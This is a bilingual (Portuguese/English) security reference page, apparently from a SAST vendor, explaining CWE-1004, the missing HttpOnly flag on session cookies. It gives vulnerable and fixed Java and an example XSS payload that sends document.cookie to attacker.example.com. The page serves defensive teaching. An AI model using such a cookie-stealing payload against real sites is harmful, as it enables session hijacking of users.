Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
CWE-1004 Variante Incompleto
Sensitive Cookie Without 'HttpOnly' Flag
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
Definição
What is CWE-1004?
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data.
Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Impacto no mundo real
Real-world CVEs caused by CWE-1004
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Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.
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CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
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Appliance for managing encrypted communications does not use HttpOnly flag.
Como os atacantes a exploram
Trajeto do atacante passo a passo
- 1
In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.
- 2
The snippet of code below establishes a new cookie to hold the sessionID.
- 3
The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:
- 4
When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.
- 5
To mitigate the risk, use the setHttpOnly(true) method.
Exemplo de código vulnerável
Vulnerable Java
The snippet of code below establishes a new cookie to hold the sessionID.
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c); Payload do atacante
The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">' Exemplo de código seguro
Secure Java
To mitigate the risk, use the setHttpOnly(true) method.
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c); What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Lista de verificação de prevenção
How to prevent CWE-1004
- Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Sinais de deteção
How to detect CWE-1004
CWE-1004
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Perguntas frequentes O que é o CWE-1004?
Qual a gravidade do CWE-1004?
Que linguagens ou plataformas são afetadas pelo CWE-1004?
Como posso prevenir o CWE-1004?
Como é que o Plexicus deteta e corrige o CWE-1004?
Onde posso saber mais sobre o CWE-1004?
Frequently asked questions
O que é o CWE-1004?
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
Qual a gravidade do CWE-1004?
A MITRE classifica a probabilidade de exploração como Média — a exploração é realista mas normalmente requer condições específicas.
Que linguagens ou plataformas são afetadas pelo CWE-1004?
MITRE lists the following affected platforms: Web Based.
Como posso prevenir o CWE-1004?
Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Como é que o Plexicus deteta e corrige o CWE-1004?
O motor SAST do Plexicus correlaciona a assinatura de fluxo de dados do CWE-1004 em cada commit. Quando é encontrada uma correspondência, o nosso agente Codex Remedium abre um PR de correção com o código corrigido, testes e um resumo de uma linha para o revisor.
Onde posso saber mais sobre o CWE-1004?
A MITRE publica a definição canónica em https://cwe.mitre.org/data/definitions/1004.html. Pode também consultar a documentação da OWASP e do NIST para orientações adjacentes.
Fraquezas relacionadas
Weaknesses related to CWE-1004
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Recursos
Further reading
- MITRE — CWE-1004 oficial https://cwe.mitre.org/data/definitions/1004.html
- HttpOnly https://owasp.org/www-community/HttpOnly
- Some Bad News and Some Good News https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)?redirectedfrom=MSDN
- C is for cookie, H is for hacker - understanding HTTP only and Secure cookies https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/
- Mitigating Cross-site Scripting With HTTP-only Cookies https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN
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